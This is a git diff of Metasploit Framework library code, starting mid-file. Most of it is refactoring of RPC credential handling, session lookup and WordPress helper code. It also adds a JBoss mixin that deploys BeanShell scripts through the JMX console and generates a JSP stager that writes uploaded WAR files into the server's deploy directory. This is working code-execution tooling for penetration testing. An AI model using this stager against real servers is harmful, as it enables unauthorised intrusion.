+ end + end + + return userpass + end + +end # WMIC +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 691b5598e6..881a91600a 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -74,7 +74,7 @@ module Msf::PostMixin return @session if @session and not session_changed? if datastore["SESSION"] - @session = framework.sessions[datastore["SESSION"].to_i] + @session = framework.sessions.get(datastore["SESSION"].to_i) else @session = nil end diff --git a/lib/msf/core/rpc/v10/rpc_db.rb b/lib/msf/core/rpc/v10/rpc_db.rb index 1691d5a9f0..32da0c8829 100644 --- a/lib/msf/core/rpc/v10/rpc_db.rb +++ b/lib/msf/core/rpc/v10/rpc_db.rb @@ -4,6 +4,9 @@ module RPC class RPC_Db < RPC_Base private + + include Metasploit::Credential::Creation + def db self.framework.db.active end @@ -15,6 +18,21 @@ private self.framework.db.workspace end + def fix_cred_options(opts) + new_opts = fix_options(opts) + + # Convert some of are data back to symbols + if new_opts[:origin_type] + new_opts[:origin_type] = new_opts[:origin_type].to_sym + end + + if new_opts[:private_type] + new_opts[:private_type] = new_opts[:private_type].to_sym + end + + new_opts + end + def fix_options(opts) newopts = {} opts.each do |k,v| @@ -88,6 +106,40 @@ private public + def rpc_create_cracked_credential(xopts) + opts = fix_cred_options(xopts) + create_credential(opts) + end + + def rpc_create_credential(xopts) + opts = fix_cred_options(xopts) + core = create_credential(opts) + + ret = { + username: core.public.try(:username), + private: core.private.try(:data), + private_type: core.private.try(:type), + realm_value: core.realm.try(:value), + realm_key: core.realm.try(:key) + } + + if opts[:last_attempted_at] && opts[:status] + opts[:core] = core + opts[:last_attempted_at] = opts[:last_attempted_at].to_datetime + login = create_credential_login(opts) + + ret[:host] = login.service.host.address, + ret[:sname] = login.service.name + ret[:status] = login.status + end + ret + end + + def rpc_invalidate_login(xopts) + opts = fix_cred_options(xopts) + invalidate_login(opts) + end + def rpc_hosts(xopts) ::ActiveRecord::Base.connection_pool.with_connection { opts, wspace = init_db_opts_workspace(xopts) @@ -490,33 +542,6 @@ public } end - def rpc_report_auth_info(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - res = self.framework.db.report_auth_info(opts) - return { :result => 'success' } if(res) - { :result => 'failed' } - } - end - - def rpc_get_auth_info(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - ret = {} - ret[:auth_info] = [] - # XXX: This method doesn't exist... - ai = self.framework.db.get_auth_info(opts) - ai.each do |i| - info = {} - i.each do |k,v| - info[k.to_sym] = v - end - ret[:auth_info] << info - end - ret - } - end - def rpc_get_ref(name) ::ActiveRecord::Base.connection_pool.with_connection { db_check @@ -828,42 +853,6 @@ public } end - # requires host, port, user, pass, ptype, and active - def rpc_report_cred(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - res = framework.db.find_or_create_cred(opts) - return { :result => 'success' } if res - { :result => 'failed' } - } - end - - #right now workspace is the only option supported - def rpc_creds(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - limit = opts.delete(:limit) || 100 - offset = opts.delete(:offset) || 0 - - ret = {} - ret[:creds] = [] - ::Mdm::Cred.find(:all, :include => {:service => :host}, :conditions => ["hosts.workspace_id = ?", - framework.db.workspace.id ], :limit => limit, :offset => offset).each do |c| - cred = {} - cred[:host] = c.service.host.address if(c.service.host) - cred[:updated_at] = c.updated_at.to_i - cred[:port] = c.service.port - cred[:proto] = c.service.proto - cred[:sname] = c.service.name - cred[:type] = c.ptype - cred[:user] = c.user - cred[:pass] = c.pass - cred[:active] = c.active - ret[:creds] << cred - end - ret - } - end def rpc_import_data(xopts) ::ActiveRecord::Base.connection_pool.with_connection { @@ -1046,7 +1035,7 @@ public end cdb = "" - if ::ActiveRecord::Base.connected? + if framework.db.connection_established? ::ActiveRecord::Base.connection_pool.with_connection { |conn| if conn.respond_to? :current_database cdb = conn.current_database diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index 84bac06aad..dbe2e1d0a8 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -279,7 +279,17 @@ class SessionManager < Hash # Returns the session associated with the supplied sid, if any. # def get(sid) - return self[sid.to_i] + session = nil + sid = sid.to_i + + if sid > 0 + session = self[sid] + elsif sid == -1 + sid = self.keys.sort[-1] + session = self[sid] + end + + session end # diff --git a/lib/msf/core/thread_manager.rb b/lib/msf/core/thread_manager.rb index 2dd6f2b353..abf2aa5c48 100644 --- a/lib/msf/core/thread_manager.rb +++ b/lib/msf/core/thread_manager.rb @@ -99,7 +99,12 @@ class ThreadManager < Array begin argv.shift.call(*argv) rescue ::Exception => e - elog("thread exception: #{::Thread.current[:tm_name]} critical=#{::Thread.current[:tm_crit]} error:#{e.class} #{e} source:#{::Thread.current[:tm_call].inspect}") + elog( + "thread exception: #{::Thread.current[:tm_name]} critical=#{::Thread.current[:tm_crit]} " \ + "error: #{e.class} #{e}\n" \ + " source:\n" \ + " #{::Thread.current[:tm_call].join "\n "}" + ) elog("Call Stack\n#{e.backtrace.join("\n")}") raise e ensure diff --git a/lib/msf/http/jboss.rb b/lib/msf/http/jboss.rb new file mode 100644 index 0000000000..75bf75fdfe --- /dev/null +++ b/lib/msf/http/jboss.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +# This module provides a way of interacting with JBoss installations +module Msf + module HTTP + module JBoss + require 'msf/http/jboss/base' + require 'msf/http/jboss/bean_shell_scripts' + require 'msf/http/jboss/bean_shell' + + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::JBoss::Base + include Msf::HTTP::JBoss::BeanShellScripts + include Msf::HTTP::JBoss::BeanShell + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the JMX console', '/jmx-console']), + OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]), + OptString.new('PACKAGE', [false, 'The package containing the BSHDeployer service']) + ], self.class) + end + + end + end +end diff --git a/lib/msf/http/jboss/base.rb b/lib/msf/http/jboss/base.rb new file mode 100644 index 0000000000..f5d74470e1 --- /dev/null +++ b/lib/msf/http/jboss/base.rb @@ -0,0 +1,49 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::Base + + # Deploys a WAR through HTTP uri invoke + # + # @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options + # @param num_attempts [Integer] The number of attempts + # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise + def deploy(opts = {}, num_attempts = 5) + uri = opts['uri'] + + if uri.blank? + return nil + end + + # JBoss might need some time for the deployment. Try 5 times at most and + # wait 5 seconds inbetween tries + num_attempts.times do |attempt| + res = send_request_cgi(opts, 5) + msg = nil + if res.nil? + msg = "Execution failed on #{uri} [No Response]" + elsif res.code == 200 + vprint_status("Successfully called '#{uri}'") + return res + else + msg = "http request failed to #{uri} [#{res.code}]" + end + + if attempt < num_attempts - 1 + msg << ", retrying in 5 seconds..." + vprint_status(msg) + Rex.sleep(5) + else + print_error(msg) + return res + end + end + end + + # Provides the HTTP verb used + # + # @return [String] The HTTP verb in use + def http_verb + datastore['VERB'] + end + +end diff --git a/lib/msf/http/jboss/bean_shell.rb b/lib/msf/http/jboss/bean_shell.rb new file mode 100644 index 0000000000..b7c3a2b3cc --- /dev/null +++ b/lib/msf/http/jboss/bean_shell.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::BeanShell + + DEFAULT_PACKAGES = %w{ deployer scripts } + + # Deploys a Bean Shell script with a set of JBOSS default packages + # + # @param bsh_script [String] The Bean Shell script to deploy + # @return [String, nil] The package name used to deploy the script, nil otherwise + def deploy_bsh(bsh_script) + package = nil + + if datastore['PACKAGE'].blank? + packages = DEFAULT_PACKAGES + else + packages = [ datastore['PACKAGE'] ] + end + + packages.each do |p| + if deploy_package(bsh_script, p) + return p + end + end + + package + end + + # Deploys a Bean Shell script using the specified package + # + # @param bsh_script [String] The Bean Shell script to deploy + # @param package [String] The package used to deploy the script + # @return [Boolean] `true` if the script gets deployed, `false` otherwise + def deploy_package(bsh_script, package) + success = false + + print_status("Attempting to use '#{package}' as package") + res = invoke_bsh_script(bsh_script, package) + + if res.nil? + print_error("Unable to deploy WAR [No Response]") + elsif res.code < 200 || res.code >= 300 + case res.code + when 401 + print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") + else + print_error("Unable to deploy BSH script [#{res.code} #{res.message}]") + end + else + success = true + end + + success + end + + # Invokes a Bean Shell script on the JBoss via BSHDeployer + # + # @param bsh_script [String] A Bean Shell script + # @param package [String] The package used to deploy the script + # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout + def invoke_bsh_script(bsh_script, package) + params = { } + params.compare_by_identity + params['action'] = 'invokeOpByName' + params['name'] = "jboss.#{package}:service=BSHDeployer" + params['methodName'] = 'createScriptDeployment' + params['argType'] = 'java.lang.String' + params['arg0'] = bsh_script + params['argType'] = 'java.lang.String' + params['arg1'] = Rex::Text.rand_text_alphanumeric(8+rand(8)) + '.bsh' + + opts = { + 'method' => http_verb, + 'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor') + } + + if http_verb == 'POST' + opts.merge!('vars_post' => params) + else + opts.merge!('vars_get' => params) + end + + send_request_cgi(opts) + end + +end diff --git a/lib/msf/http/jboss/bean_shell_scripts.rb b/lib/msf/http/jboss/bean_shell_scripts.rb new file mode 100644 index 0000000000..995b13c25d --- /dev/null +++ b/lib/msf/http/jboss/bean_shell_scripts.rb @@ -0,0 +1,105 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::BeanShellScripts + + # Generates a Bean Shell Script. + # + # @param type [Symbol] The Bean Shell script type, `:create` or `:delete`. + # @param opts [Hash] Hash of configuration options. + # @return [String] A Bean Shell script. + def generate_bsh(type, opts ={}) + bean_shell = nil + case type + when :create + bean_shell = create_file_bsh(opts) + when :delete + bean_shell = delete_files_bsh(opts) + end + + bean_shell + end + + # Generate a stager JSP to write a WAR file to the deploy/ directory. + # This is used to bypass the size limit for GET/HEAD requests. + # + # @param app_base [String] The name of the WAR app to write. + # @return [String] The JSP stager. + def stager_jsp(app_base) + decoded_var = Rex::Text.rand_text_alpha(8+rand(8)) + file_path_var = Rex::Text.rand_text_alpha(8+rand(8)) + jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8)) + fos_var = Rex::Text.rand_text_alpha(8+rand(8)) + content_var = Rex::Text.rand_text_alpha(8+rand(8)) + + stager_jsp = <<-EOT +<%@page import="java.io.*, + java.util.*, + sun.misc.BASE64Decoder" +%> +<% + String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); + String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war"; + try { + String #{content_var} = ""; + String parameterName = (String)(request.getParameterNames().nextElement()); + #{content_var} = request.getParameter(parameterName); + FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); + byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); + #{fos_var}.write(#{decoded_var}); + #{fos_var}.close(); + } + catch(Exception e){ } +%> + EOT + + stager_jsp + end + + # Generate a Bean Shell script which creates files inside the JBOSS's deploy + # directory. + # + # @param opts [Hash] Hash containing the options to create the Bean Shell + # Script. + # @option opts :dir [Symbol] The dir where place the file. + # @option opts :file [Symbol] The file path. + # @option opts :contents [Symbol] The file contents. + # @return [String] A Bean Shell script to create the file. + def create_file_bsh(opts = {}) + dir = opts[:dir] + file = opts[:file] + contents = opts[:contents] + + payload_bsh_script = <<-EOT +import java.io.FileOutputStream; +import sun.misc.BASE64Decoder; + +String val = "#{contents}"; + +BASE64Decoder decoder = new BASE64Decoder(); +String jboss_home = System.getProperty("jboss.server.home.dir"); +new File(jboss_home + "/deploy/#{dir}").mkdir(); +byte[] byteval = decoder.decodeBuffer(val); +String location = jboss_home + "/deploy/#{file}"; +FileOutputStream fstream = new FileOutputStream(location); +fstream.write(byteval); +fstream.close(); + EOT + + payload_bsh_script + end + + # Generate a Bean Shell script to delete files from the JBoss's /deploy + # directory. + # + # @param opts [Hash] Hash containing the files to delete, the values are + # the files paths. + # @return [String] A Bean Shell script to delete files. + def delete_files_bsh(opts = {}) + script = "String jboss_home = System.getProperty(\"jboss.server.home.dir\");\n" + opts.values.each do |v| + script << "new File(jboss_home + \"/deploy/#{v}\").delete();\n" + end + + script + end +end diff --git a/lib/msf/http/typo3/login.rb b/lib/msf/http/typo3/login.rb index c255942863..d34a91d440 100644 --- a/lib/msf/http/typo3/login.rb +++ b/lib/msf/http/typo3/login.rb @@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login return nil end - e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1] - n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1] + e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/) + if e_match.nil? + vprint_error('Can not find rsa_e value') + return nil + end + e = e_match[1] + + n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/) + if n_match.nil? + vprint_error('Can not find rsa_n value') + return nil + end + n = n_match[1] + vprint_debug("e: #{e}") vprint_debug("n: #{n}") rsa_enc = typo3_helper_login_rsa(e, n, pass) diff --git a/lib/msf/http/wordpress.rb b/lib/msf/http/wordpress.rb index d5cae88203..53148c2483 100644 --- a/lib/msf/http/wordpress.rb +++ b/lib/msf/http/wordpress.rb @@ -25,10 +25,20 @@ module Msf super register_options( - [ - Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']), - ], HTTP::Wordpress + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']) + ], HTTP::Wordpress ) + + register_advanced_options( + [ + Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']) + ], HTTP::Wordpress + ) + end + + def wp_content_dir + datastore['WPCONTENTDIR'] end end end diff --git a/lib/msf/http/wordpress/base.rb b/lib/msf/http/wordpress/base.rb index 48cca67576..30296cade8 100644 --- a/lib/msf/http/wordpress/base.rb +++ b/lib/msf/http/wordpress/base.rb @@ -1,28 +1,23 @@ # -*- coding: binary -*- module Msf::HTTP::Wordpress::Base - # Checks if the site is online and running wordpress # # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise def wordpress_and_online? - begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path) - }) - return res if res and - res.code == 200 and - ( - res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or - res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or - res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i - ) - return nil - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Error connecting to #{target_uri}") - return nil - end + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + wordpress_detect_regexes = [ + /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i, + /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i, + /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i + ] + return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } + return nil + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error("#{peer} - Error connecting to #{target_uri}: #{e}") + return nil end - end diff --git a/lib/msf/http/wordpress/helpers.rb b/lib/msf/http/wordpress/helpers.rb index 355dce5c85..837688dab0 100644 --- a/lib/msf/http/wordpress/helpers.rb +++ b/lib/msf/http/wordpress/helpers.rb @@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers options.merge!({'vars_post' => vars_post}) options.merge!({'cookie' => login_cookie}) if login_cookie res = send_request_cgi(options) - if res and (res.code == 301 or res.code == 302) and res.headers['Location'] + if res && res.redirect? && res.redirection return wordpress_helper_parse_location_header(res) else message = "#{peer} - Post comment failed." @@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers else return res.body end - elsif res and (res.code == 301 or res.code == 302) and res.headers['Location'] + elsif res && res.redirect? && res.redirection path = wordpress_helper_parse_location_header(res) return wordpress_helper_check_post_id(path, comments_enabled, login_cookie) end @@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers # @param res [Rex::Proto::Http::Response] The HTTP response # @return [String,nil] the path and query, nil on error def wordpress_helper_parse_location_header(res) - return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location'] + return nil unless res && res.redirect? && res.redirection - location = res.headers['Location'] + location = res.redirection path_from_uri(location) end diff --git a/lib/msf/http/wordpress/login.rb b/lib/msf/http/wordpress/login.rb index c0219163bb..8128e10d23 100644 --- a/lib/msf/http/wordpress/login.rb +++ b/lib/msf/http/wordpress/login.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Login +module Msf::HTTP::Wordpress::Login # performs a wordpress login # # @param user [String] Username @@ -8,30 +8,23 @@ module Msf::HTTP::Wordpress::Login # @return [String,nil] the session cookies as a single string on successful login, nil otherwise def wordpress_login(user, pass) redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}" - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_login, 'vars_post' => wordpress_helper_login_post_data(user, pass, redirect) - }) - - if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect - match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i) - # return wordpress login cookie - return match[0] if match - - # support for older wordpress versions - # Wordpress 2.0 - match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i) - match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i) - # return wordpress login cookie - return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass) - - # Wordpress 2.5 - match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i) - # return wordpress login cookie - return match_2_5[0] if match_2_5 + ) + if res && res.redirect? && res.redirection && res.redirection.to_s == redirect + cookies = res.get_cookies + # Check if a valid wordpress cookie is returned + return cookies if + # current Wordpress + cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i || + # Wordpress 2.0 + cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i || + # Wordpress 2.5 + cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i end - return nil - end + nil + end end diff --git a/lib/msf/http/wordpress/posts.rb b/lib/msf/http/wordpress/posts.rb index 171ff6ce18..d343e8accf 100644 --- a/lib/msf/http/wordpress/posts.rb +++ b/lib/msf/http/wordpress/posts.rb @@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts count = max_redirects # Follow redirects - while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0 + while res.redirect? && res.redirection && count != 0 path = wordpress_helper_parse_location_header(res) return nil unless path diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/http/wordpress/uris.rb index 19fd567fc4..cd7b3cc166 100644 --- a/lib/msf/http/wordpress/uris.rb +++ b/lib/msf/http/wordpress/uris.rb @@ -66,4 +66,46 @@ module Msf::HTTP::Wordpress::URIs normalize_uri(target_uri.path, 'wp-links-opml.php') end + # Returns the Wordpress Backend URL + # + # @return [String] Wordpress Backend URL + def wordpress_url_backend + normalize_uri(target_uri.path, 'wp-admin/') + end + + # Returns the Wordpress Admin Ajax URL + # + # @return [String] Wordpress Admin Ajax URL + def wordpress_url_admin_ajax + normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + end + + # Returns the Wordpress wp-content dir URL + # + # @return [String] Wordpress wp-content dir URL + def wordpress_url_wp_content + normalize_uri(target_uri.path, wp_content_dir) + end + + # Returns the Wordpress plugins dir URL + # + # @return [String] Wordpress plugins dir URL + def wordpress_url_plugins + normalize_uri(wordpress_url_wp_content, 'plugins') + end + + # Returns the Wordpress themes dir URL + # + # @return [String] Wordpress themes dir URL + def wordpress_url_themes + normalize_uri(wordpress_url_wp_content, 'themes') + end + + # Returns the Wordpress XMLRPC URL + # + # @return [String] Wordpress XMLRPC URL + def wordpress_url_xmlrpc + normalize_uri(target_uri.path, 'xmlrpc.php') + end + end diff --git a/lib/msf/http/wordpress/users.rb b/lib/msf/http/wordpress/users.rb index d696d9f9f8..150b48491b 100644 --- a/lib/msf/http/wordpress/users.rb +++ b/lib/msf/http/wordpress/users.rb @@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users 'uri' => url }) - if res and res.code == 301 + if res and res.redirect? uri = wordpress_helper_parse_location_header(res) return nil unless uri # try to extract username from location diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index 0330d65fa3..b313c9557f 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -2,63 +2,124 @@ module Msf::HTTP::Wordpress::Version + # Used to check if the version is correct: must contain at least one dot + WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)' + # Extracts the Wordpress version information from various sources # # @return [String,nil] Wordpress version if found, nil otherwise def wordpress_version # detect version from generator - version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i) + version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i) return version if version # detect version from readme - version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i) + version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i) return version if version # detect version from rss - version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i) + version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i) return version if version # detect version from rdf - version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i) + version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i) return version if version # detect version from atom - version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i) + version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i) return version if version # detect version from sitemap - version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i) + version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i) return version if version # detect version from opml - version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i) + version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i) return version if version nil end - private - - # Used to check if the version is correct: must contain at least one dot. + # Checks a readme for a vulnerable version # - # @return [ String ] - def wordpress_version_pattern - '([^\r\n"\']+\.[^\r\n"\']+)' + # @param [String] plugin_name The name of the plugin + # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced + # + # @return [ Msf::Exploit::CheckCode ] + def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil) + check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version) end + # Checks a readme for a vulnerable version + # + # @param [String] theme_name The name of the theme + # @param [String] fixed_version The version the vulnerability was fixed in + # @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced + # + # @return [ Msf::Exploit::CheckCode ] + def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil) + check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version) + end + + private + def wordpress_version_helper(url, regex) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => url - }) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => url + ) if res match = res.body.match(regex) - if match - return match[1] - end + return match[1] if match end nil end + def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil) + case type + when :plugin + folder = 'plugins' + when :theme + folder = 'themes' + else + fail("Unknown readme type #{type}") + end + + readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt') + res = send_request_cgi( + 'uri' => readme_url, + 'method' => 'GET' + ) + # no readme.txt present + return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + # try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] + + # readme present, but no version number + return Msf::Exploit::CheckCode::Detected if version.nil? + + vprint_status("#{peer} - Found version #{version} of the #{type}") + + # Version older than fixed version + if Gem::Version.new(version) < Gem::Version.new(fixed_version) + if vuln_introduced_version.nil? + # All versions are vulnerable + return Msf::Exploit::CheckCode::Appears + # vuln_introduced_version provided, check if version is newer + elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version) + return Msf::Exploit::CheckCode::Appears + else + # Not in range, nut vulnerable + return Msf::Exploit::CheckCode::Safe + end + # version newer than fixed version + else + return Msf::Exploit::CheckCode::Safe + end + end end diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb index b2c585bd7c..0a5506fa03 100644 --- a/lib/msf/sanity.rb +++ b/lib/msf/sanity.rb @@ -33,18 +33,6 @@ if (RUBY_VERSION =~ /^1\.9\.1/) $stderr.puts "*** Ruby 1.9.1 is not supported, please upgrade to Ruby 1.9.3 or newer." end -if(RUBY_VERSION =~ /^(1\.9|2\.0)\./) - # Load rubygems before changing default_internal, otherwise we may get - # Encoding::UndefinedConversionError as the gemspec files are loaded - require 'rubygems' - Gem::Version # trigger Rubygems to fully load - - # Force binary encoding for Ruby versions that support it - if(Object.const_defined?('Encoding') and Encoding.respond_to?('default_external=')) - Encoding.default_external = Encoding.default_internal = "binary" - end -end - if(RUBY_PLATFORM == 'java') require 'socket' s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 4d2781e94a..d128cfb213 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -97,6 +97,9 @@ class Core # mode. DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] + # Constant for disclosure date formatting in search functions + DISCLOSURE_DATE_FORMAT = "%Y-%m-%d" + # Returns the list of commands supported by this command dispatcher def commands { @@ -161,16 +164,6 @@ class Core "Core" end - # Indicates the base dir where Metasploit Framework is installed. - def msfbase_dir - base = __FILE__ - while File.symlink?(base) - base = File.expand_path(File.readlink(base), File.dirname(base)) - end - File.expand_path( - File.join(File.dirname(base), "..","..","..","..","..") - ) - end def cmd_color_help print_line "Usage: color <'true'|'false'|'auto'>" @@ -344,7 +337,7 @@ class Core # Restore the prompt prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar - driver.update_prompt("#{prompt}", prompt_char, true) + driver.update_prompt("#{prompt} ", prompt_char, true) end end @@ -384,40 +377,42 @@ class Core def cmd_banner(*args) banner = "%cya" + Banner.to_s + "%clr\n\n" - if is_apt + # These messages should /not/ show up when you're on a git checkout; + # you're a developer, so you already know all this. + if (is_apt || binary_install) content = [ - "Large pentest? List, sort, group, tag and search your hosts and services\nin Metasploit Pro -- type 'go_pro' to launch it now.", - "Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- type 'go_pro' to launch it now.", - "Save your shells from AV! Upgrade to advanced AV evasion using dynamic\nexe templates with Metasploit Pro -- type 'go_pro' to launch it now.", - "Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro's wizard -- type 'go_pro' to launch it now.", - "Using notepad to track pentests? Have Metasploit Pro report on hosts,\nservices, sessions and evidence -- type 'go_pro' to launch it now.", - "Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\n-- type 'go_pro' to launch it now." + "Trouble managing data? List, sort, group, tag and search your pentest data\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit", + "Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- learn more on http://rapid7.com/metasploit", + "Payload caught by AV? Fly under the radar with Dynamic Payloads in\nMetasploit Pro -- learn more on http://rapid7.com/metasploit", + "Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit", + "Taking notes in notepad? Have Metasploit Pro track & report\nyour progress and findings -- learn more on http://rapid7.com/metasploit", + "Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\nLearn more on 